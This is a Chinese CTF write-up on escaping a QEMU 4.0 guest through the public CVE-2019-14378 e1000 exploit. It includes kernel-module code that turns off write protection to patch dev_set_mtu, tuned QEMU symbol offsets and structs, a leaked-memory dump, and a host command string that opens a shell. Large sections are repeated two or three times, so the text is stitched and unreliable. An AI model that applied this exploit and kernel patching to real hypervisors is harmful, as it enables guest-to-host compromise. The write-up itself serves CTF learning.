昨天做出来的题目,但是今天还连不上服务器,所以在这里先发个WP记录一下。
第一次做这种题目,做出来还是挺兴奋的。刚下载下来的时候看到了qemu虚拟机还以为是普通的驱动题,所以在qemu里找了半天flag的位置,最后才发现本身是root账户,flag在qemu目录下,而且里面唯一的驱动模块是e1000.ko,不像一个出题人自定义的模块。
于是搜索E1000.ko,发现第一篇是“VirtualBox E1000 0day 虚拟机逃逸漏洞”
,时间是2018年11月7日的,因此怀疑是虚拟机逃逸的题目。但是虚拟化软件不对,加上QEMU关键字继续搜索,终于发现CVE-2019-14378这个漏洞,时间比较新,而且正好对应给我们的QEMU4.0版本,而且网上还提供了非常完整的利用代码。https://github.com/vishnudevtj/exploits/tree/master/qemu/CVE-2019-14378
于是下载、编译、执行,发现程序执行了 printf("Run\n$ ip link set dev %s mtu 12000\n",interface);就退出了,原来这个poc要求虚拟机必须设置mtu至少为12000,而默认的大小是1500,自然执行不了。网上的执行步骤里第一步是
sudo ifconfig ens3 mtu 12000 up
但是提供的虚拟机执行这一步的时候首先是提示ifconfig: SIOCSIFMTU: No such device,将设备名换成eth0后提示ifconfig: SIOCSIFMTU: Invalid argument。而且上面还有一条奇怪的信息显示(应该是作者方便我们调试,开启的DMESG信息)Invalid MTU 12000 requested, hw max 68,意思是最大只能68?(后面通过ida才发现这个是系统本身问题,这里本来应该显示最大值1500的,但错误的把最小值68输出来了)。
看起来这个系统有问题,不让我们设置超过1500的MTU。
题目提供的rootfs.cpio文件在ubuntu里可以直接打开,我把e1000.ko拖出来在ida里面看了看,里面函数名称很详细,代码结构也很清楚,可以直接找到e1000_change_mtu函数,里面对最大值的判断是a2 - 46 <= 0x3EC0,也就是16110字节,满足12000的要求。
难道是ifconfig程序有问题?这个系统里面的ifconfig是由busybox提供的,把busybox拖出来分析了一下,发现设置MTU部分也没有问题,也没有看到1500的限制。
那就只能是vmlinuz-4.8.0-52-generic这个内核文件有问题了。从网上搜索到https://packages.ubuntu.com/xenial-updates/linux-headers-4.8.0-52-generic下载了原始的内核文件包进行比对,发现两个文件一模一样,没有被作者修改过。
那就奇怪了,难道是Qemu里面的硬件设置或者PC-Bios里文件限制的?看文件修改时间也不像。那就是内核本身限制了?我试了我现有的4.15.0-50-generic和4.18.0-25-generic也是轻松修改MTU。(后面测试果然就是4.8.0-52这个版本本身限制了MTU。)
既然有了root权限,那就试试强改MTU吧,本来打算是直接修改驱动,把
e1000.ko 里的
e1000_change_mtu
输入固定成12000,但是发现这样修改后的模块没法insmod。会报一个129的未知错误,估计是存在自校验什么的把,也可能是.note.gnu.build-id这个节里的数据被内核校验了,具体原因还请有知道的大拿回复一下。反正我没找到直接hook驱动模块的方法。
那就只能安装一个一样的虚拟机环境来编译一个新的驱动了,从ubuntu官网下载了ubuntu-16.04.2-desktop-amd64.iso,安装了一个全新的系统,然后使用命令
sudo
apt-get install linux-image-4.8.0-52-generic linux-headers-4.8.0-52-generic
把内核修改成
vmlinuz-4.8.0-52-generic,编译了一个hello world驱动放进去,可以正常insmod。ok,现在终于进入内核了。
从linux-4.8.1.tar的源码里找到实现修改MTU的函数是dev_set_mtu,从system.map里找到该函数在内核里的地址是ffffffff81779620,在ida里看到对应的的代码段如下
if ( a1[148] == (_DWORD)a2 )
goto LABEL_16;
v3 = a1;
v4 = a2;
if ( (a2 & 0x80000000) != 0LL || (unsigned int)a2 < a1[149] )
{
if ( (unsigned int)sub_FFFFFFFF817966B0(a1, a2) )
{
v17 = a1[149];
v18 = (unsigned int)a2;
a2 = (unsigned __int64)a1;
a1 = (unsigned int *)&invalidhwmin;
sub_FFFFFFFF8119E99E(&invalidhwmin, a2, v18, v17);
}
goto LABEL_6;
}
v9 = a1[150];
if ( v9 && (unsigned int)a2 > v9 )
{
if ( !(unsigned int)sub_FFFFFFFF817966B0(a1, a2) )
{
LABEL_6:
v5 = -22;
goto LABEL_7;
}
v12 = a1[149];
v13 = (unsigned int)a2;
a2 = (unsigned __int64)a1;
a1 = (unsigned int *)&invalidhwmax;
v5 = -22;
sub_FFFFFFFF8119E99E(&invalidhwmax, a2, v13, v12);
}
通过分析可以发现其中 a1[148]是系统MTU的值, a1[149]是系统下限, a1[150]是系统上限,最后打印invalidhwmax的时候使用的是 a1[149],所以显示最大值是系统下限,这个应该是系统的一个bug。
只要通过修改内核代码,把判断语句中的 (unsigned int)a2 < a1[149] 改成
a1[150]
=
(unsigned int)a2
,就可以修改MTU上限了。
在驱动中添加对应代码
static int hello_init(void) {
printk(KERN_ALERT "Hello, world,%p\n",printk);
offset = (char*)printk - 0xffffffff8119e99e;
dev_set_mtu = offset + 0xFFFFFFFF81779620;
target = offset + 0xFFFFFFFF81779659;
set_memory_rw = (Proc_set_memory_rw)(offset + 0xffffffff8106f230);
set_memory_rw(target - 0x659,10);
disable_wp();
target[0] = 0x89;
target[2] = 0x58;
enable_wp();
set_memory_x(target - 0x659,10);
return 0;
}
加载hello.ko后就可以正常修改MTU了。
之后就可以使用网上的POC进行测试了,原理网上讲的很详细,我就不重复了。由于QEMU版本不同,第一次肯定没有成功。首先通过ida更改QEMU Symbol offset如下
#define SYSTEM_PLT 0x2B1920
#define QEMU_CLOCK 0x0FF74A0
#define QEMU_TIMER_NOTIFY_CB 0x3028E0
#define MAIN_LOOP_TLG 0x00FF7480
#define CPU_UPDATE_STATE 0x40A1C0
//这个是用来伪造数据结构的地址,只要可以读写并且不与QEMU里其他地址冲突就可以
//poc里建议使用bss段,我选取了该段靠近结尾的地方
#define FAKE_STRUCT 0xffb300 然后通过输出的ICMP信息,发现QEMU对应位置的内存布局变了,数据包偏移0x40处不是CPU_UPDATE_STATE,而在内存0xc0出现了tcg_init_ctx的地址。
Recieved ICMP Replay : : 0000 52 54 00 12 34 56 52 55 0a 00 02 02 08 00 45 00 RT..4VRU......E. 0010 00 1c 00 02 00 00 ff 01 a3 ce 0a 00 02 02 0a 00 ................ 0020 02 0f 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................ 0030 00 00 00 00 00 00 00 00 a5 98 00 00 00 00 00 00 ................ 0040 b8 bb 00 1c 53 7f 00 00 d0 23 01 1c 53 7f 00 00 ....S....#..S... 0050 c0 a3 00 1c 53 7f 00 00 c0 a3 00 1c 53 7f 00 00 ....S.......S... 0060 00 00 00 00 00 00 00 00 02 00 00 00 24 00 00 00 ............$... 0070 32 00 00 00 00 00 00 00 1c 00 00 00 00 00 00 00 2............... 0080 c0 ca c0 23 53 7f 00 00 5c ca c0 23 53 7f 00 00 ...#S...\..#S... 0090 60 ca c0 23 53 7f 00 00 00 00 00 00 00 00 00 00 `..#S........... 00a0 30 00 00 00 00 00 08 ff 80 00 00 00 00 00 00 00 0............... 00b0 80 00 00 00 00 00 00 00 80 04 00 00 00 00 00 00 ................ 00c0 70 7f db 40 77 55 00 00 90 cb c0 23 53 7f 00 00 p..@wU.....#S... 00d0 00 00 00 23 53 7f 00 00 16 00 00 23 53 7f 00 00 ...#S......#S... 00e0 2d 00 00 23 53 7f 00 00 d3 ef ff 00 00 00 00 00 -..#S........... 00f0 a0 cb c0 23 53 7f 00 00 88 cb c0 23 53 7f 00 00 ...#S......#S... 0110 00 00 00 00 00 00 00 00 30 bb 00 1c 53 7f 00 00 ........0...S... 0120 68 bb 00 00 00 00 00 00 00 00 h.........
通过以上修正,就可以成功实现把QEMU弄崩溃了,崩溃的信息是ev->initialized的一个断言,说是QemuEvent未初始化。
跟踪调试程序,并与ida对比后发现是POC中的QEMU Structs定义与当前版本不符,修改结构体如下
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
void *timer_list;
void *cb;
void *opaque;
void *next;
int attributes;
int scale;
};
struct QEMUTimerList {
void * clock;
char active_timers_lock[0x30];
struct QEMUTimer *active_timers;
struct QEMUTimerList *le_next; /* next element */ \
struct QEMUTimerList **le_prev; /* address of previous next element */ \
void *notify_cb;
void *notify_opaque;
/* lightweight method to mark the end of timerlist's running */
size_t timers_done_ev;
};
然后
崩溃的信息
变成了 mutex->initialized的一个断言,根据调试器显示的偏移,将对应位置修改如下
*(size_t *)&tl->active_timers_lock[0x28] = 1;
然后就可以成功触发了。只是由于程序涉及多次写内存,测试中不是每次都成功,但是只要多执行两次,基本cat flag的概率还是非常高的。
我把最后执行的命令改成了
char cmd[] = "id;cat flag;/bin/sh";
本地测试一直没问题,可惜一直没有连上服务器,没法取得flag。
if ( a1[148] == (_DWORD)a2 )
goto LABEL_16;
v3 = a1;
v4 = a2;
if ( (a2 & 0x80000000) != 0LL || (unsigned int)a2 < a1[149] )
{
if ( (unsigned int)sub_FFFFFFFF817966B0(a1, a2) )
{
v17 = a1[149];
v18 = (unsigned int)a2;
a2 = (unsigned __int64)a1;
a1 = (unsigned int *)&invalidhwmin;
sub_FFFFFFFF8119E99E(&invalidhwmin, a2, v18, v17);
}
goto LABEL_6;
}
v9 = a1[150];
if ( v9 && (unsigned int)a2 > v9 )
{
if ( !(unsigned int)sub_FFFFFFFF817966B0(a1, a2) )
{
LABEL_6:
v5 = -22;
goto LABEL_7;
}
v12 = a1[149];
v13 = (unsigned int)a2;
a2 = (unsigned __int64)a1;
a1 = (unsigned int *)&invalidhwmax;
v5 = -22;
sub_FFFFFFFF8119E99E(&invalidhwmax, a2, v13, v12);
}
通过分析可以发现其中 a1[148]是系统MTU的值, a1[149]是系统下限, a1[150]是系统上限,最后打印invalidhwmax的时候使用的是 a1[149],所以显示最大值是系统下限,这个应该是系统的一个bug。
只要通过修改内核代码,把判断语句中的 (unsigned int)a2 < a1[149] 改成
a1[150]
=
(unsigned int)a2
,就可以修改MTU上限了。
在驱动中添加对应代码
static int hello_init(void) {
printk(KERN_ALERT "Hello, world,%p\n",printk);
offset = (char*)printk - 0xffffffff8119e99e;
dev_set_mtu = offset + 0xFFFFFFFF81779620;
target = offset + 0xFFFFFFFF81779659;
set_memory_rw = (Proc_set_memory_rw)(offset + 0xffffffff8106f230);
set_memory_rw(target - 0x659,10);
disable_wp();
target[0] = 0x89;
target[2] = 0x58;
enable_wp();
set_memory_x(target - 0x659,10);
return 0;
}
加载hello.ko后就可以正常修改MTU了。
之后就可以使用网上的POC进行测试了,原理网上讲的很详细,我就不重复了。由于QEMU版本不同,第一次肯定没有成功。首先通过ida更改QEMU Symbol offset如下
#define SYSTEM_PLT 0x2B1920
#define QEMU_CLOCK 0x0FF74A0
#define QEMU_TIMER_NOTIFY_CB 0x3028E0
#define MAIN_LOOP_TLG 0x00FF7480
#define CPU_UPDATE_STATE 0x40A1C0
//这个是用来伪造数据结构的地址,只要可以读写并且不与QEMU里其他地址冲突就可以
//poc里建议使用bss段,我选取了该段靠近结尾的地方
#define FAKE_STRUCT 0xffb300 然后通过输出的ICMP信息,发现QEMU对应位置的内存布局变了,数据包偏移0x40处不是CPU_UPDATE_STATE,而在内存0xc0出现了tcg_init_ctx的地址。
Recieved ICMP Replay : : 0000 52 54 00 12 34 56 52 55 0a 00 02 02 08 00 45 00 RT..4VRU......E. 0010 00 1c 00 02 00 00 ff 01 a3 ce 0a 00 02 02 0a 00 ................ 0020 02 0f 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................ 0030 00 00 00 00 00 00 00 00 a5 98 00 00 00 00 00 00 ................ 0040 b8 bb 00 1c 53 7f 00 00 d0 23 01 1c 53 7f 00 00 ....S....#..S... 0050 c0 a3 00 1c 53 7f 00 00 c0 a3 00 1c 53 7f 00 00 ....S.......S... 0060 00 00 00 00 00 00 00 00 02 00 00 00 24 00 00 00 ............$... 0070 32 00 00 00 00 00 00 00 1c 00 00 00 00 00 00 00 2............... 0080 c0 ca c0 23 53 7f 00 00 5c ca c0 23 53 7f 00 00 ...#S...\..#S... 0090 60 ca c0 23 53 7f 00 00 00 00 00 00 00 00 00 00 `..#S........... 00a0 30 00 00 00 00 00 08 ff 80 00 00 00 00 00 00 00 0............... 00b0 80 00 00 00 00 00 00 00 80 04 00 00 00 00 00 00 ................ 00c0 70 7f db 40 77 55 00 00 90 cb c0 23 53 7f 00 00 p..@wU.....#S... 00d0 00 00 00 23 53 7f 00 00 16 00 00 23 53 7f 00 00 ...#S......#S... 00e0 2d 00 00 23 53 7f 00 00 d3 ef ff 00 00 00 00 00 -..#S........... 00f0 a0 cb c0 23 53 7f 00 00 88 cb c0 23 53 7f 00 00 ...#S......#S... 0110 00 00 00 00 00 00 00 00 30 bb 00 1c 53 7f 00 00 ........0...S... 0120 68 bb 00 00 00 00 00 00 00 00 h.........
通过以上修正,就可以成功实现把QEMU弄崩溃了,崩溃的信息是ev->initialized的一个断言,说是QemuEvent未初始化。
跟踪调试程序,并与ida对比后发现是POC中的QEMU Structs定义与当前版本不符,修改结构体如下
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
void *timer_list;
void *cb;
void *opaque;
void *next;
int attributes;
int scale;
};
struct QEMUTimerList {
void * clock;
char active_timers_lock[0x30];
struct QEMUTimer *active_timers;
struct QEMUTimerList *le_next; /* next element */ \
struct QEMUTimerList **le_prev; /* address of previous next element */ \
void *notify_cb;
void *notify_opaque;
/* lightweight method to mark the end of timerlist's running */
size_t timers_done_ev;
};
然后
崩溃的信息
变成了 mutex->initialized的一个断言,根据调试器显示的偏移,将对应位置修改如下
*(size_t *)&tl->active_timers_lock[0x28] = 1;
然后就可以成功触发了。只是由于程序涉及多次写内存,测试中不是每次都成功,但是只要多执行两次,基本cat flag的概率还是非常高的。
我把最后执行的命令改成了
char cmd[] = "id;cat flag;/bin/sh";
本地测试一直没问题,可惜一直没有连上服务器,没法取得flag。
static int hello_init(void) {
printk(KERN_ALERT "Hello, world,%p\n",printk);
offset = (char*)printk - 0xffffffff8119e99e;
dev_set_mtu = offset + 0xFFFFFFFF81779620;
target = offset + 0xFFFFFFFF81779659;
set_memory_rw = (Proc_set_memory_rw)(offset + 0xffffffff8106f230);
set_memory_rw(target - 0x659,10);
disable_wp();
target[0] = 0x89;
target[2] = 0x58;
enable_wp();
set_memory_x(target - 0x659,10);
return 0;
}
加载hello.ko后就可以正常修改MTU了。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)